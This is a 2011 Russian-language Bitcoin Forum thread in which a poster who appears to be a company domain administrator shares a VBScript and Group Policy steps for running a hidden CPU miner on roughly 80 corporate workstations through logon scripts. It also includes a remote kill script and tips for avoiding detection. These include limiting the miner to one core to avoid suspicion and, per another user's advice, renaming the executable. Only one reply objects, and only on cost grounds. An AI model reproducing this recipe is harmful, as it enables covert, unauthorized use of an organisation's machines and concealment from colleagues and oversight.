Bitcoin Forum

Local => Майнеры => Topic started by: sf on July 20, 2011, 08:14:37 AM



Title: Майним на компьютерах домена (AD)
Post by: sf on July 20, 2011, 08:14:37 AM
Здравствуйте!

Обнаружил, что наше предприятие закупает в последнее время новые компьютеры, а они все 4-х ядерные. Как правило это Intel Quad Core и
Dual Core, но с гипертрейдингом. Таких машин под две сотни. Появилась идея заставить их немного помайнить, просто в качестве эксперимента, что бы выяснить сколько можно их них выжать. К сожалению видеокарты на них самые обычные и для майнинга не приспособлены, поэтому за основу я взял вот этот:
http://yyz.us/bitcoin/cpuminer-installer-1.0.2.zip
CPU miner.
  В качестве пула выбрал DeepBit.
  Некоторые машины все же достаточно нагружены или за ними работают опытные пользователи, поэтому что-бы отфильтровать, на каких машинах будем майнить, а на каких нет, на http сервере разместил файлик, формат его такой: имя_компа,хвост_воркера. Файлик имеет UNIX-like перевод строки, т.е. код 0A, так как тут у меня линух.
 Далее на VSH был написан следующий скрипт:
Code:
On Error Resume Next

Set WshShell = WScript.CreateObject("WScript.Shell")
Set WshSysEnv = WshShell.Environment("SYSTEM")
CPUs =  WshSysEnv("NUMBER_OF_PROCESSORS")

if CPUs > 3 Then
if count() <> FALSE Then
cmd="\\domain.ru\sysvol\domain.ru\Policies\{31C2F340-016D-11D2-945F-00C04FB984F9}\USER\Microsoft\miner\minerd.exe --algo cryptopp_asm32 -t 1 -r -1 --url  http://pit.deepbit.net:8332 --userpass user@mail.ru_"&count&":pass"

WshShell.Run cmd,0
end if
end if
Function count()

'Detect hostname
Set WshNetwork = WScript.CreateObject("WScript.Network")

With CreateObject("MSXML2.XMLHTTP")
  .open "GET", "http://ip.add.re.ss/complist.txt", False
  .send
list = .responseText
End With

lststr = Split(list,chr(10))

count=FASE

For i = 0 To Ubound(lststr) - 1
ddd = Split(lststr(i),",")
c = StrComp (WshNetwork.ComputerName, ddd(0), [1])

if c = 0 then
count = ddd(1)
end if
Next

End Function

Все файлы майнера и сам скрипт лежит в папке SYSVOL, которая находится на DFS шаре контроллера домена.
Что делает скрипт:

1. Проверяет количество ядер на компьютере, если их больше 3, значит на нем можно майнить.
2. Загружает список complist.txt c http://ip.add.re.ss и ищет свое имя в этом списке.
3. Если имя найдено, то берет значение в этом списке после запятой, это хвост майнера и запускает майнер в скрытом режиме, т.е. окно майнера не появляется.

Теперь о том, как этот скрипт запустить на всех компьютерах домана:

1. Добавить сетевой адрес домена \\domain.ru в местные узлы в безопасности Internet Explorer, для этого:
  1.1 Открываем Active Directory - пользователи и компьютеры
  1.2 Правой кнопкой мыши по domen.ru -> свойства
  1.3 В появившемся окне выбираем вкладку Групповая политика
  1.4 Выбираем нашу политику и жмем "Изменить"
  1.5 Находим пункт конфигурация пользователя->Конфигурация windows->настройка Internet Explorer->Безопасность->параметры безопасности и оценка содержимого
  1.6 В появившимся окошке выбираем Импортировать текущие параметры безопасности и конфиденциальности
  1.7 Тут вас спросят, ответьте продолжить и правее нажимаем кнопку "настройка"
  1.8 Выбираем "Местная интрасеть" и жмем кнопку узлы
  1.9 добавляем узел в зону, примерно  такого вида file://domain.ru

Все теперь если запустить файл руками из папки \\domain.ru\SYSVOL...блабла... ругани винды на безопасность не будет, продолжаем, что бы скрипт сам запускался, в нашей же политике делем сдедующее:
 2.1 идем в конфигурация пользователя->Административные шаблоны->Система->сценарии->синхронное выполнение сценариев входа в систему
 2.2 если включено, ставим "не задано".

 3. Добавляем скрипт в автозагрузку
 3.1 конфигурация пользователя->Конфигурация windows->Сценарии (Вход/Выход из системы)->вход в систему
 3.2 тут жмем "Добавить"
 3/3 Добавляем наш скрипт \\domain.ru\sysvol\domain.ru\Policies\{31C2F340-016D-11D2-945F-00C04FB984F9}\USER\Microsoft\miner\miner.vbs
 Главное аккуратно с путем, скопируйте его через буфер обмена.

 4. На всякий случай делаем gpupdate, что бы обновить политику.

Все, теперь при входе пользователя в систему скрипт будет запускаться и если условия соблюдены, будет майнить на одном ядре (параметры запуска смотри в переменной cmd). Из доступных мне ~80 компах, получается выжимать до 120 мегахешей, конечно это баловство больше и намайнив 1 BTC я все это дело скорее всего выключу. Ксати если нужно все быстро выключить то нужно запустить следующий скрипт, на одной из машин домена с правами администратора домена:

Code:
Set WshShell = WScript.CreateObject("WScript.Shell")

With CreateObject("MSXML2.XMLHTTP")
  .open "GET", "http://ip.add.re.ss/complist.txt", False
  .send
list = .responseText
End With

lststr = Split(list,chr(10))

For i = 0 To Ubound(lststr) - 1
ddd = Split(lststr(i),",")
cmd = "taskkill /S "&ddd(0)&" /IM minerd.exe"
WshShell.Run cmd,0
Next

Скрипт читает файлик complist.txt и киляет процесс minerd.exe на всех наших компьютерах.
Все это было сделано в ознакомительных целях, аля поиграться, может быть у кого-то имеются в домене компьютеры с нормальными видюхами, то можно попробовать заюзать их похожим образом. Да кстати, запустить скрипт от имени компьютера, что бы он начал майнить еще до входа пользователя, у меня не получилось. vbs скрипт запускается, но майнер фиг, почему не разбирался.
Если с компьютеров нету прямого доступа в Интернет, то можно завернуть их всех на свой компьютер и выпустить через какой-нибудь NAT.
Как можно спалится:
1. Возможно когда-нибудь антивирусы будут считать майнеры потенциально-опасным ПО, ведь случаи использования вирус+майнер уже были.
Тогда на всех компах выскочит сообщение, что мало приятно.
2. Какой-нибудь юзер (или другой админ, инженер, не важно) обнаружит процесс, которые отедает 25% процессорного времени, тоже фигово.
3. Другой админ обнаружит запись в групповой политике.
4. Жадность фраера сгубит и майнер будет запущен с большим количеством нитей ;) Ведь можно получить и 200 и 300 мегахешей даже на этих компах.


Title: Re: Майним на компьютерах домена (AD)
Post by: Zenitur on July 20, 2011, 09:45:23 AM
Если будет тормозить, отдай не все ядра. Если будешь задействовать видеокарты, выстави AGRESSION=3.


Title: Re: Майним на компьютерах домена (AD)
Post by: sf on July 20, 2011, 09:51:39 AM
Если будет тормозить, отдай не все ядра. Если будешь задействовать видеокарты, выстави AGRESSION=3.
Так я пока использую только одно ядро процессора, что бы не вызывать подозрений, а видеокарт нету пока-что, но за параметр спасибо.


Title: Re: Майним на компьютерах домена (AD)
Post by: rPman on July 20, 2011, 10:20:33 AM
А потом директору на стол дополнительный счет на электричество (для ЮЛ тарифы почти всегда в разы выше чем для физиков) и он будет долго удивляться, или не долго, если адекватный.

p.s. когда же народ наконец поймет, что на процессорах майнить - садомазохизм (ваша сотня компов по мощности сравнима с ОДНОЙ ВИДЕОКАРТОЙ), зайдите к директору, выпейте с ним пива.. больше потратите, чем намайните за месяц.


Title: Re: Майним на компьютерах домена (AD)
Post by: sf on July 20, 2011, 10:31:57 AM
А потом директору на стол дополнительный счет на электричество (для ЮЛ тарифы почти всегда в разы выше чем для физиков) и он будет долго удивляться, или не долго, если адекватный.

p.s. когда же народ наконец поймет, что на процессорах майнить - садомазохизм (ваша сотня компов по мощности сравнима с ОДНОЙ ВИДЕОКАРТОЙ), зайдите к директору, выпейте с ним пива.. больше потратите, чем намайните за месяц.
Говорю же, все это Just For Fun, поиграюсь и выключу, более того не призываю кого-либо делать подобное,  просто может пригодиться, если есть компы с видюхами, то скрипт можно немного подогнать.  А по поводу электричества, так это мизер по сравнению с тем, что реально затрачивает компания. Компы кстати стоят в разных зданиях и даже разных городах, счетчики разные. Тем более тут я заюзал только новые ПК и они кстати почти не греются.


Title: Re: Майним на компьютерах домена (AD)
Post by: sf on July 22, 2011, 08:02:36 AM
А между тем сменил майнер на ufasoft и скорость увеличилась в 1.5 раза, переменная cmd теперь выглядит так:
Code:
cmd="\\domaian.ru\sysvol\domain.ru\Policies\{31C2F340-016D-11D2-945F-00C04FB984F9}\USER\Microsoft\miner\bitcoin-miner.exe -t 1 -a 15 -o http://pit.deepbit.net:8332 -u user@mail.ru_"&count&" -p password"


Title: Re: Майним на компьютерах домена (AD)
Post by: bt on July 22, 2011, 04:58:26 PM
bitcoin-miner.exe (так же как и папку) лучше наверное переименовать во что нибудь другое. Так слишком легко нагуглить в случае палева.


Title: Re: Майним на компьютерах домена (AD)
Post by: sf on July 23, 2011, 06:22:43 AM
bitcoin-miner.exe (так же как и папку) лучше наверное переименовать во что нибудь другое. Так слишком легко нагуглить в случае палева.
Конечно, она переименована, тут пишу так, что бы было понятней.
Хотя все равно, если кто-нибудь запустит exe-шник, станет понятно, что это за прога :)